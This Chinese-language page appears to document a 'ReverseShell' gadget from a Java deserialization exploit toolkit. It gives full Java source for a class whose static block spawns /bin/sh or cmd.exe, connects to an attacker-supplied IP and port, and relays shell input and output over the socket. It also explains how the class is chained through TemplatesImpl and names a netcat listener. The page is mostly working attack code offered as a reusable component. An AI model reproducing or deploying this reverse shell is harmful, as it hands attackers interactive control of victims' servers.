Skip to content

Latest commit

 

History

History
85 lines (73 loc) · 4.23 KB

File metadata and controls

85 lines (73 loc) · 4.23 KB

反弹 Shell(ReverseShell)

  • 类别:bytecode 别名:— 优先级:—
  • 作者:Ar3h
  • 依赖:无

作用

生成一段反弹 Shell 字节码:目标端加载即向攻击者指定的 ip:port 建立 TCP 连接,把本地 /bin/sh(Windows 下 cmd.exe)的输入输出与该 socket 双向转发,形成交互式反向 shell。同时支持 Windows 与 Linux。属于链尾字节码 sink(END)。

链接标签

  • 入口 tagsBytecodeEND
    • Bytecode:产出原始类字节码(byte[]),需上游 BytecodeConvert 装入 TemplatesImpl 触发 defineClass
    • END:链的终点,其后不再衔接其它 gadget。
  • 衔接 nextTags:空。
  • excludes:空。

源码剖析

gadget 本体把 ip/port 烘焙进模板:

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(ReverseShellBytecode.class);
    javassistHelper.modifyStringField("ip", this.ip);
    javassistHelper.modifyStringField("port", this.port);
    return javassistHelper.getBytecode();
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);   // END 环
    return this.getObject();
}

模板类在静态块中启动本地 shell 进程并与 socket 互转:

public ReverseShellBytecode() {
    try {
        String cmd = "/bin/sh";
        if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
            cmd = "cmd.exe";
        }
        Process p = Runtime.getRuntime().exec(cmd);
        Socket s  = new Socket(ip, Integer.parseInt(port));   // 主动回连攻击者
        InputStream  pi = p.getInputStream();  InputStream pe = p.getErrorStream();
        InputStream  si = s.getInputStream();
        OutputStream po = p.getOutputStream(); OutputStream so = s.getOutputStream();
        while (!s.isClosed()) {
            while (pi.available() > 0) so.write(pi.read());   // 进程 stdout → socket
            while (pe.available() > 0) so.write(pe.read());   // 进程 stderr → socket
            while (si.available() > 0) po.write(si.read());   // socket → 进程 stdin
            so.flush(); po.flush();
            Thread.sleep(50L);
            try { p.exitValue(); break; }                     // 进程已退出则收尾
            catch (Exception exception) {}
        }
        p.destroy(); s.close();
    } catch (Exception exception) {}
}
static { new ReverseShellBytecode(); }

逻辑:按 os.name/bin/shcmd.exe 起一个本地进程,主动向 ip:port 建立 Socket;随后在轮询循环里把进程标准输出/错误流写向 socket、把 socket 收到的数据写入进程标准输入,Thread.sleep(50) 降低忙等开销;每轮用 p.exitValue() 探测进程是否已退出,退出即跳出并 destroy/close 收尾。这是不依赖 /dev/tcp、纯 Java 的经典交互式反弹 shell 实现。

注意Socket 数据为明文,攻击者需自备监听端(如 nc -lvnp <port>)。

参数(@Param)

字段 名称 说明 默认 类型
ip ip 回连的攻击者 IP 127.0.0.1 String
port port 回连的攻击者端口 9999 ParamType.Integer

适用版本与原理要点

  • 与依赖版本无关,纯 JDK(Runtime.exec + Socket)实现,跨 Windows/Linux。
  • 反弹流量为明文 TCP,可被网络层检测/阻断。
  • 需上游 TemplatesImpl 系装载器触发字节码,要求目标 JDK 允许 TemplatesImpl 定义类(JDK < 17 或配合高版本绕过)。
  • 目标需能出网直连攻击者 ip:port;受限环境(无出网)下应改用回显型 sink。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可替换 命令执行/23-命令执行 类链中的 Exec,与 BytecodeConvert 组合使用。

关联

  • 上游(消费本 Bytecode 产物):BytecodeConvertTemplatesImpl
  • 同族命令 sink:Exec(一次性命令执行)、DownloadExec
  • 同族回显 sink:OneForAllEchoResinEcho(无出网环境的回显替代)。
  • 同族内存马 sink:RuoYiShell